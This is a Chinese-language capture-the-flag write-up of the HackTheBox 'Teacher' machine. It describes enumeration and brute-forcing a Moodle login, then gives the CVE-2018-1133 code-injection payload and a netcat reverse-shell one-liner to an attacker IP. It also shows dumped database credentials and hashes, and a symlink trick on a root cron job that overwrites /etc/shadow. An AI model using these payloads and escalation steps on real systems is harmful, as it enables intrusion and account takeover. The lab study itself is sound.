Teacher-Writeup

概述 (Overview)

image

HOST: 10.10.10.153 时间: 2021-07-28 机器作者: Gioo 困难程度: `easy` MACHINE TAGS: * Web * PHP * SQL * File Misconfiguration

攻击链 (Kiillchain)

使用 Nmap 对目标服务器开放端口进行扫描,发现仅存在一个开放端口运行着HTTP服务,通过对路径进行枚举发现存在二级站点。从首页的图片中发现隐写内容,使用枚举后的密码成功登录二级站点的管理后台。随后通过代码注入漏洞成功拿到立足点。

利用获取到的数据库连接信息成功读取到Giovanni用户的备份密码,还原成明文后成功横向移动至该用户shell。通过监听定时任务执行脚本发现root会执行备份脚本,利用创建链接完成对shadow文件内容的更改,使用自定义密码成功完成权限提升。

枚举(Enumeration)

老规矩起手,还是先用 Nmap 对目标服务器进行开放端口的服务识别:

$ namp -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan `IP` PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Blackhat highschool

从结果中可以获悉,目标服务运行了 HTTP Apache 服务,且版本为2.4.25 。其中还知道了服务器为Debian

Port 80 - Apache httpd 2.4.25

通过浏览器查看目标服务器的 HTTP 站点:

image

简单扫了一眼页面从中找到了一条mail地址:contact@blackhatuni.com (不管有没用先记下来),然后使用 dirsearch.py 工具对目录进行枚举。

Dirsearch tools : https://github.com/maurosoria/dirsearch

$ dirsearch.py -u http://10.10.10.153/ -o /home/kali/hackthebox/dirsearch.txt -w /home/kali/tools/DictionaryTools/IntruderPayloads/Repositories/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -e html 301 313B http://10.10.10.153:80/images -> REDIRECTS TO: http://10.10.10.153//uploads/Teacher_files/ 301 310B http://10.10.10.153:80/css -> REDIRECTS TO: http://10.10.10.153/css/ 301 313B http://10.10.10.153:80/manual -> REDIRECTS TO: http://10.10.10.153/manual/ 301 309B http://10.10.10.153:80/js -> REDIRECTS TO: http://10.10.10.153/js/ 301 317B http://10.10.10.153:80/javascript -> REDIRECTS TO: http://10.10.10.153/javascript/ 301 312B http://10.10.10.153:80/fonts -> REDIRECTS TO: http://10.10.10.153/fonts/ 403 297B http://10.10.10.153:80/phpmyadmin 301 313B http://10.10.10.153:80/moodle -> REDIRECTS TO: http://10.10.10.153/moodle/

查看扫描结果,其中 phpmyadmin 引起了我的注意,但从状态 403 可以看出我们并不具备访问权限。随后查看 /moodle 目录出现了新的站点,留意右上角还存在登陆页面。

image

通过查看返回请求包找了特征码: Cookie: MoodleSession=* ,搜索该key可以找到官网 https://moodle.org/ 是一个开源的在线学习教育平台。

通过查看开发残留文件 ./moodle/mod/forum/upgrade.txt 得到当前版本为3.4

接着找到了对应该CMS系统的漏洞扫描工具:https://github.com/inc0d3/moodlescan.git ,随后对目标站点进行扫描。

$ python3 moodlescan.py -u http://10.10.10.153/moodle/ Getting moodle version... Version found via /composer.lock : Moodle v3.4.1

失败了,并没有发现有用的利用点。

立足点(Foothold)

在这纠结了很久没有有效的突破,想了想是不是存在图片隐写这种操作。将所有的图片下载至本地,发现其中的5.png文件无法预览:

image

使用 strings 命令对图片的字符串进行读取,发现提示信息:

$ strings 5.png Hi Servicedesk, I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha. Could you guys figure out what the last charachter is, or just reset it? Thanks, Giovanni

用户 Giovanni 忘记了他密码的最后一位字符,所以我们只需要组合 Th4C00lTheacha* 生成新的字典进行爆破登录尝试。

寻找 SecLists 中含有字符的字典,并将其组合在一起形成枚举列表

SecLists - https://github.com/danielmiessler/SecLists

image

image

这里我直接使用burp的功能对登录接口进行枚举,当最后一位是 # 字符时会返回不一样长度的内容。

image

得到新的账号组 giovanni:Th4C00lTheacha# ,使用它成功登录系统后台。

通过先前对该套CMS系统的漏洞搜索,发现后台存在一个可以RCE的漏洞编号:CVE-2018-1133

https://blog.sonarsource.com/moodle-remote-code-execution?redirect=rips

阅读完分析文章后,开始对漏洞进行复现。

在页面已存在的列表中点击 add an activity or resource ,在新出现的窗口中选择 Quiz

image

随后的内容可以任意填写

image

填写完成后会在主题列表写多出同名的内容:

image

点击进入,在点击编辑

image

随后点击 a new question

image

在新窗口中选择 Calculated

image

至于填写内容呢,我参考的 exploit-db 中的 46551,内容是 /*{a*/$_GET[0];//{x}}

image

image

保存后就可以访问尝试了,首先通过burp传递一个wget请求至本地监听的80端口,用于判断目标服务是否可以成功执行命令,且是否可以正常出网。

image

验证一切正常后,执行如下代码得到一个 Reverse Shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.15 9900 >/tmp/f # 将空格替换成加号,已绕过GET请求的urlencode成功达到命令执行 rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/bash+-i+2>&1|nc+10.10.16.15+9900+>/tmp/f

image

横向移动(Lateral Movement)

通过查看本地端口开发情况,发现运行有MySql监听端口,尝试看看是否有存在ssh登录用户的相关账号密码。

$ cat config.php <?php // Moodle configuration file unset($CFG); global $CFG; $CFG = new stdClass(); $CFG->dbtype = 'mariadb'; $CFG->dblibrary = 'native'; $CFG->dbhost = 'localhost'; $CFG->dbname = 'moodle'; $CFG->dbuser = 'root'; $CFG->dbpass = 'Welkom1!'; $CFG->prefix = 'mdl_'; $CFG->dboptions = array ( 'dbpersist' => 0, 'dbport' => 3306, 'dbsocket' => '', 'dbcollation' => 'utf8mb4_unicode_ci', ); ......

读取站点的配置文件拿到MySql连接配置,通过命令行执行 mysql 带-e参数,成功获得md_user表中保存的密码。

$ mysql -uroot -p'Welkom1!' -dmoodle -e 'select username,password,email from mdl_user \G'
select username,password,email from mdl_user \G *************************** 1. row *************************** username: guest password: $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO email: root@localhost *************************** 2. row *************************** username: admin password: $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 email: gio@gio.nl *************************** 3. row *************************** username: giovanni password: $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO email: Giio@gio.nl *************************** 4. row *************************** username: Giovannibak password: 7a860966115182402ed06375cf0a22af email: 4 rows in set (0.00 sec)

通过对 7a860966115182402ed06375cf0a22af 哈希的解密,得到明文密码: expelled。使用该密码进行 su 成功横移至 Giovanni 用户,成功获得 User Flag。

image

权限提升(Privilege Escalation)

首先查看下 /etc/os-release 文件,确认下当前系统及版本。

PRETTY_NAME="Debian GNU/Linux 9 (stretch)" NAME="Debian GNU/Linux" VERSION_ID="9" VERSION="9 (stretch)" ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/"

开始翻找文件,在当前用户的目录下发现含有一个备份压缩包:

$ /home/giovanni/work/tmp backup_courses.tar.gz

怀疑存在root执行定时任务的情况,使用 pspy 工具监听一下看看是否存在root执行命令:

非特权 Linux 进程监听 - https://github.com/DominicBreuker/pspy

image

可以看到,root 用户会通过计划任务执行 /usr/bin/backup.sh 脚本,随后 Giovanni 用户会执行它 Home 目录下的 shell.sh 脚本,接着 root 用户会执行 tar 命令进行压缩包创建。

其实使用文件查找命令能找到关键脚本:

find / -group giovanni -type f 2>/dev/null
$ cat /usr/bin/backup.sh #!/bin/bash cd /home/giovanni/work; tar -czvf tmp/backup_courses.tar.gz courses/*; cd tmp; tar -xf backup_courses.tar.gz; chmod 777 * -R;

阅读脚本代码我首先想到是路径Hijacking,因为 tar 命令并没有指定绝对路径。但我找不到可以将路径注入到root执行时的环境变量中的方法,转而尝试其他的思路,尝试利用软链进行文件读取的尝试。

首先在 /home/giovanni/work/tmp 目录中创建读取 root.txt 的软链接。

image

待脚本执行后发现已经在解压后的文件内生效了软链,但在输出文件内容时存在权限不住的错误。

image

这里有个小坑。在Linux中,当上一级也是 /root 目录不具备读权限时,就算你知道里面存在可读文件的绝对路径你也没权限查看。

image

可以看到,虽然 root.txt 文件是 0777 权限,但在低权限用户下也依然无法访问。所以这里只要对 /root 文件建立软链接,那么就可以读取到 root.txt 的内容了。

改变下思路我打算直接软链 shadow 文件,并自定义 root 用户的密码。

image

可以看到当定时任务执行完毕后,shadow 的文件权限已经从原来的 0640 变成了 0777 ,查看用户密码哈希:

root:$6$j801WLZh$Gm3artvmHU6m4zOtHM5/cEejF4mJ.Ctvf2rNlP.z/30gzsykgbCMQmZLr3vfAXzRhp5v3CHorU.giSaqVXdi/0:17709:0:99999:7::: giovanni:$6$RiDoH4VN$WamVNCkuoZyN1uM6hmyKKt6GwGWAamiQM3SYCrr5lmUYnmV7vpBNkYZCHqjh7UDtsdF8NbGjM7dJPIsxeFkrx0:17709:0:99999:7:::

每行用户信息被划分为 9 个字段,每个字段的含义如下:

用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段

也可以使用以前做 [[Hackthebox-Bank.md id=8f9a225a-ba88-4083-9582-947a1d0d4980]] 靶机时的提取方法,将自定义密码写入到 passwd 文件中。

passwd 文件内容划分为 7 个字段,每个字段所表示的含义如下:

用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell

# 生成自定义密码哈希 $ openssl passwd -1 '123456'

替换后使用 su 命令成功提权至 root shell。

image

参考

  • http://blog.leanote.com/post/snowming/98864b36fc08


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。